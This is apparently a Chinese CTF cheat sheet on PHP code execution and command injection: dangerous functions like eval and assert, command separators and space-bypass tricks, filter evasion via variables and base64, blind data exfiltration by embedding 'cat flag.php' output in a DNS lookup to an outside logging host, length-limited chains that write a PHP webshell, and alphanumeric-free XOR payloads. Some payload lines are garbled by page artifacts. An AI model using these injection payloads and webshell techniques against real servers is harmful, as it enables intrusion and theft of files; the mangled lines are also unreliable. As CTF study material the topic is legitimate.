目录
-
php代码执行
-
一、相关函数
-
二、命令执行的绕过
- 1、命令执行的分隔符
- 2、空格代替
- 3、绕过
- 4、命令执行的各种符号
-
三、命令无回显的情况
-
四、可控字符串长度受限
- 五、无数字字母getshell
php代码执行
一、相关函数
1、代码注入
-
eval()

传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
return 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
assert()

-
call_user_func()/call_user_func_array()

可以传递任何内置函数或用户自定义函数,除了语言结构如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()
create_function()

-
usort()/uasort()

例如:
?1[]=phpinfo()&1[]=123&2=assert usort($_GET[1],‘assert‘);
${php代码}
例如:${phpinfo()};
ob_start()

2、命令执行
system()

exec()/shell_exec()

passthru

``运算符
二、命令执行的绕过
1、命令执行的分隔符
例子:system("echo ".$_GET[1]);
换行符 |
%0a |
?1=123%0apwd |
回车符 |
%0d |
同上 |
连续指令 |
; |
?1=123;pwd |
后台进程 |
& |
?1=123&pwd |
管道符 |
|(显示后面语句的结果) |
?1=123|pwd |
逻辑运算 |
||或&& |
?1=123||pwd |
2、空格代替
- <符号
- $IFS
- ${IFS}
- $IFS$9
- %09用于url传递

3、绕过
- a=l;b=s;$a$b
- `echo d2hvYW1p|base64 -D`
4、命令执行的各种符号
使用env命令查看本地变量,expr substr来截取需要的字符,拼接成命令执行
例如:
echo "${PATH:0:1}"
echo "`expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
三、命令无回显的情况
1、判断
2、利用
- 写shell(直接写入/外部下载)
- http/dns等方式带出数据
需要去掉空格,可以使用sed等命令
如:echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
四、可控字符串长度受限
【CTF 攻略】如何绕过四个字符限制getshell
1、15个字符
echo &;?php >1
echo eval(>>1
echo $_GET>>1
echo [1]>>1
echo );>>1
mv 1 1.php
2、7个字符
思路:
1、命令+>文件名
可以生产文件(命令可以为空)
2、ls -t
可以将文件按时间顺序排列
3、sh
命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、可以分行输入命令
w>hp
w>1.pw>d&;w> -w>e64w>basw>7|w>XSkw>Fsxw>dFVw>kX0w>bCgw>XZhw>AgZw>waHw>PD9w>o w>echls -t|sh
五、无数字字母getshell
- 思路:异或、取反
- 例子:
$_=‘<>][email?protected]^<‘^‘[[){,?[‘;//$_=‘getFlag‘n $_();//getFlag()